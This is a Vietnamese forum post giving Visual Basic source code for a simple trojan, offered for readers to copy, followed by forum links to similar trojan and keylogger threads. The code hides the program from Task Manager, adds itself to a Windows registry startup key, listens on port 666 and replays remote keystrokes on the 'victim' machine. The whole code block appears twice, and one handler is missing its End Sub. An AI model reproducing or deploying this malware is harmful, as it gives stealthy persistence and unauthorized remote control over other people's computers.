Code Trojan viết bằng VB
Trang 1 trong tổng số 1 trang
Code Trojan viết bằng VB
Trong bài viết này , tôi sẽ giới thiệu với bạn 1 đọan mã nhỏ để tạo trojan đơn giản bằng Visual Basic. Trojan này chỉ mới có khả năng hiện những chữ máy chủ đang đánh lên màn hình của máy nạn nhân – nghĩa là bạn nhấn phím gì trên máy mình thì máy nạn nhân cũng vậy.
Bắt đầu bạn tạo 1 form mới. Bạn thêm vào WinSock Control ( Ctrl + T ). Kế đến bạn sao chép tòan bộ mã sau vào trong phần code
`Biến cố khởi động chương trình
Private Sub Form_Load()
'Không hiện chương trình trong Task Manager
App.TaskVisible = False
'Đưa Trojan vào phần khởi động trong Registry
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS \CUR RENTVERSION\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
'Số cổng mà ta sẽ dùng để kết nối từ máy khác khi Trojan đang chạy
winsock1.localport = "666"
'Thiết lập cho Trojan luôn đợi kết nối vào Internet
winsock1.Listen
End Sub
============================
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Kiểm tra Winsock để chắc chắn không 1 chương trình nào đang dùng nó
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'Chấp nhận liên kết chỉ với người vào đúng cổng
============================
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'Nếu kết nối bị rớt , thiết lập cho winsock lập lại việc chờ đợi kết nối
Winsock1.Close
Winsock1.Listen
End Sub
============================
Private Sub Winsock1_Close()
'Giống như trên
Winsock1.Close
Winsock1.Listen
End Sub
============================
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String 'Thiết lập giá trị để lưu trữ dữ liệu
Winsock1.GetData data1 'Lấy thông tin từ phần điều khiển và lưu nó trong data1
DoEvents
SendKeys data1 'Đùa chút với nạn nhân bằng cách -Mình đánh gì-Máy victim hiện chữ đó-
End Sub
Bắt đầu bạn tạo 1 form mới. Bạn thêm vào WinSock Control ( Ctrl + T ). Kế đến bạn sao chép tòan bộ mã sau vào trong phần code
`Biến cố khởi động chương trình
Private Sub Form_Load()
'Không hiện chương trình trong Task Manager
App.TaskVisible = False
'Đưa Trojan vào phần khởi động trong Registry
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS \CUR RENTVERSION\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
'Số cổng mà ta sẽ dùng để kết nối từ máy khác khi Trojan đang chạy
winsock1.localport = "666"
'Thiết lập cho Trojan luôn đợi kết nối vào Internet
winsock1.Listen
End Sub
============================
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Kiểm tra Winsock để chắc chắn không 1 chương trình nào đang dùng nó
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'Chấp nhận liên kết chỉ với người vào đúng cổng
============================
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'Nếu kết nối bị rớt , thiết lập cho winsock lập lại việc chờ đợi kết nối
Winsock1.Close
Winsock1.Listen
End Sub
============================
Private Sub Winsock1_Close()
'Giống như trên
Winsock1.Close
Winsock1.Listen
End Sub
============================
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String 'Thiết lập giá trị để lưu trữ dữ liệu
Winsock1.GetData data1 'Lấy thông tin từ phần điều khiển và lưu nó trong data1
DoEvents
SendKeys data1 'Đùa chút với nạn nhân bằng cách -Mình đánh gì-Máy victim hiện chữ đó-
End Sub
Similar topics
» Làm sao để viết được một con trojan lấy pass của yahoo
» Cách viết một Trojan đơn giản trong VB6
» Cách viết một Trojan đơn giản trong VB6
» Godwill gắn trojan vào trang html
» Keymail the KeyLogger Viết bằng C
» Cách viết một Trojan đơn giản trong VB6
» Cách viết một Trojan đơn giản trong VB6
» Godwill gắn trojan vào trang html
» Keymail the KeyLogger Viết bằng C
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
27/8/2013, 11:45 am by echcondihoc
» Quản Lí Tiến Trình Dùng Thư Viện PSAPI
11/10/2011, 9:42 pm by CNTT_DH
» xin tai lieu tieng viet
31/8/2011, 6:59 am by bantoisg
» Theo dõi tiến trình
27/8/2011, 5:51 pm by haigaopro01
» Giải pháp Bảo mật của Cisco
17/6/2011, 8:50 am by admin
» Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS (Phần 1)
16/6/2011, 2:32 pm by admin
» Learn to hack !
16/6/2011, 8:49 am by admin
» Giải pháp hệ thống dành cho doanh nghiệp với thiết bị mạng Fortinet (Phần 1)
15/6/2011, 11:12 am by admin
» Ô Long Viên (Tập II)
27/9/2010, 4:56 pm by root
» những ebook về hack tiếng việt cho người mới tìm hiểu.
27/9/2010, 4:54 pm by root